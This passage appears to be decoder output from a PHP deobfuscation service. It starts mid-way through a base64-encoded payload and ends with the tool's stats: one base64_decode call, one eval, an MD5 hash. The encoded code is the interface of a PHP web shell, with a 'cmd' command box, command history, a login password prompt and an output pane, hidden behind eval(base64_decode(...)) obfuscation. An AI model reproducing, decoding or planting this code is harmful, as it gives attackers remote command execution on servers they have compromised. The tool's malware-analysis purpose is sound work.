JHZhbHVlXCI7XG4iOyANCn0gDQogDQo/PiANCiANCmZ1bmN0aW9uIHBhcnNlX2hpc3Qo
a2V5KSB7IA0KICAgIGlmIChrZXkgPCBoaXN0X2Fyci5sZW5ndGgpIHsgDQogICAgICAg
IGlmIChrZXkgIT0gIiIpIHsgDQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50
QnlJZCgnaW5wdXQnKS52YWx1ZSA9IGhpc3RfYXJyW2tleV07IA0KICAgICAgICAgICAg
ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2lucHV0JykuZm9jdXMoKTsgDQogICAgICAg
IH0gDQogICAgfSBlbHNlIHsgDQogICAgICAgIHdpbmRvdy5sb2NhdGlvbi5ocmVmID0g
Ij9jbGVhcl9oaXN0PTEiOyANCiAgICB9IA0KfSANCiANCmZ1bmN0aW9uIGlucHV0X2Zv
Y3VzKCkgeyANCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaW5wdXQnKS5mb2N1
cygpOyANCn0gDQogDQpmdW5jdGlvbiBzZWxlY3Rpb25fdG9fY2xpcGJvYXJkKCkgeyAv
LyBJRSBvbmx5ISANCiAgICBpZiAod2luZG93LmNsaXBib2FyZERhdGEgJiYgZG9jdW1l
bnQuc2VsZWN0aW9uKSANCiAgICAgICAgd2luZG93LmNsaXBib2FyZERhdGEuc2V0RGF0
YSgiVGV4dCIsIGRvY3VtZW50LnNlbGVjdGlvbi5jcmVhdGVSYW5nZSgpLnRleHQpOyAN
Cn0gDQogDQppZiAod2luZG93LmNsaXBib2FyZERhdGEpIA0KICAgIGRvY3VtZW50Lm9u
Y29udGV4dG1lbnUgPSBuZXcgRnVuY3Rpb24oImRvY3VtZW50LmdldEVsZW1lbnRCeUlk
KCdpbnB1dCcpLnZhbHVlID0gd2luZG93LmNsaXBib2FyZERhdGEuZ2V0RGF0YSgnVGV4
dCcpOyBpbnB1dF9mb2N1cygpOyByZXR1cm4gZmFsc2UiKTsgDQogDQogIC0tPjwvU0NS
SVBUPiANCjwvSEVBRD4gDQo8Qk9EWSBvbkxvYWQ9ImRvY3VtZW50LmdldEVsZW1lbnRC
eUlkKCdvdXRwdXQnKS5zY3JvbGxUb3AgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgn
b3V0cHV0Jykuc2Nyb2xsSGVpZ2h0OyBpbnB1dF9mb2N1cygpIiBUT1BNQVJHSU49IjAi
IExFRlRNQVJHSU49IjAiPiANCjxUQUJMRSBDRUxMUEFERElORz0iMCIgQ0VMTFNQQUNJ
Tkc9IjAiIEJPUkRFUj0iMCIgSEVJR0hUPSIxMDAlIiBXSURUSD0iMTAwJSI+IA0KPFRS
PiANCiAgPFREIEhFSUdIVD0iMTAwJSIgQkdDT0xPUj0iIzAwMDAwMCIgU1RZTEU9InBh
ZGRpbmctdG9wOiA1cHg7IHBhZGRpbmctbGVmdDogNXB4OyBwYWRkaW5nLXJpZ2h0OiA1
cHg7IHBhZGRpbmctYm90dG9tOiAwcHgiPjxURVhUQVJFQSBJRD0ib3V0cHV0IiBvblNl
bGVjdD0ic2VsZWN0aW9uX3RvX2NsaXBib2FyZCgpIiBvbkNsaWNrPSJpbnB1dF9mb2N1
cygpIiBSRUFET05MWT48Pz0gJG91dCA/PjwvVEVYVEFSRUE+PC9URD4gDQo8L1RSPiAN
CiANCjxUUj4gDQogIDxURCBCR0NPTE9SPSIjMDAwMDAwIj48VEFCTEUgQ0VMTFBBRERJ
Tkc9IjAiIENFTExTUEFDSU5HPSI1IiBCT1JERVI9IjAiIFdJRFRIPSIxMDAlIj4gDQog
ICAgPFRSPiANCiAgICA8Rk9STSBNRVRIT0Q9IlBPU1QiIEFDVElPTj0iIj4gDQogICAg
ICA8VEQgTk9XUkFQIG9uQ2xpY2s9ImlucHV0X2ZvY3VzKCkiPjw/PSBzdWJzdHIoJHBy
b21wdCwgMCwgLTEpID8+PC9URD4gDQogICAgICA8VEQgV0lEVEg9IjEwMCUiPjxJTlBV
VCBJRD0iaW5wdXQiIFRZUEU9Ijw/PSAoISRfU0VTU0lPTlsndXNlciddICYmICRfU0VT
U0lPTlsnbG9naW4nXSkgPyAnUEFTU1dPUkQnIDogJ1RFWFQnID8+IiBOQU1FPSJjbWQi
PjwvVEQ+IA0KICAgIDwvRk9STT48P3BocCANCiANCmlmICgkaGlzdF9hcnIpIHsgDQog
DQogICAgPz48VEQgTk9XUkFQPjxTRUxFQ1Qgb25DaGFuZ2U9InBhcnNlX2hpc3QodGhp
cy5vcHRpb25zW3RoaXMuc2VsZWN0ZWRJbmRleF0udmFsdWUpIj4gDQogICAgICAgIDxP
UFRJT04gVkFMVUU9IiI+LS0tIEhJU1RPUlk8L09QVElPTj48P3BocCANCiANCiAgICBm
b3IgKCRpID0gY291bnQoJGhpc3RfYXJyKSAtIDE7ICRpID49IDA7ICRpLS0pIHsgDQog
DQogICAgICAgIGlmIChzdHJsZW4oJGhpc3RfYXJyWyRpXSkgPiAkaGlzdG9yeV9jaGFy
cykgJG9wdGlvbiA9IHN1YnN0cigkaGlzdF9hcnJbJGldLCAwLCAkaGlzdG9yeV9jaGFy
cyAtIDMpIC4gIi4uLiI7IA0KICAgICAgICBlbHNlICRvcHRpb24gPSAkaGlzdF9hcnJb
JGldOyANCiANCiAgICAgICAgZWNobyAiPE9QVElPTiBWQUxVRT1cIiIgLiAkaSAuICJc
Ij4kb3B0aW9uPC9PUFRJT04+IjsgDQogICAgfSANCiANCiAgICAgID8+PE9QVElPTiBW
QUxVRT0iPD89ICRoaXN0b3J5X2xpbmVzICsgMSA/PiI+LS0tIENMRUFSIEhJU1RPUlk8
L09QVElPTj48L1NFTEVDVD48L1REPjw/cGhwIA0KIA0KfSANCiANCiAgPz48L1RSPiAN
CiANCiAgPC9UQUJMRT48L1REPiANCjwvVFI+IA0KPC9UQUJMRT4gDQogDQo8U0NSSVBU
IExBTkdVQUdFPSJKYXZhU2NyaXB0Ij48IS0tIA0KZG9jdW1lbnQuZ2V0RWxlbWVudEJ5
SWQoJ291dHB1dCcpLnNjcm9sbFRvcCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdv
dXRwdXQnKS5zY3JvbGxIZWlnaHQ7IA0KLS0+PC9TQ1JJUFQ+')); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 b7d1e48c97e442b01ced144b5492d934
Eval Count 1
Decode Time 97 ms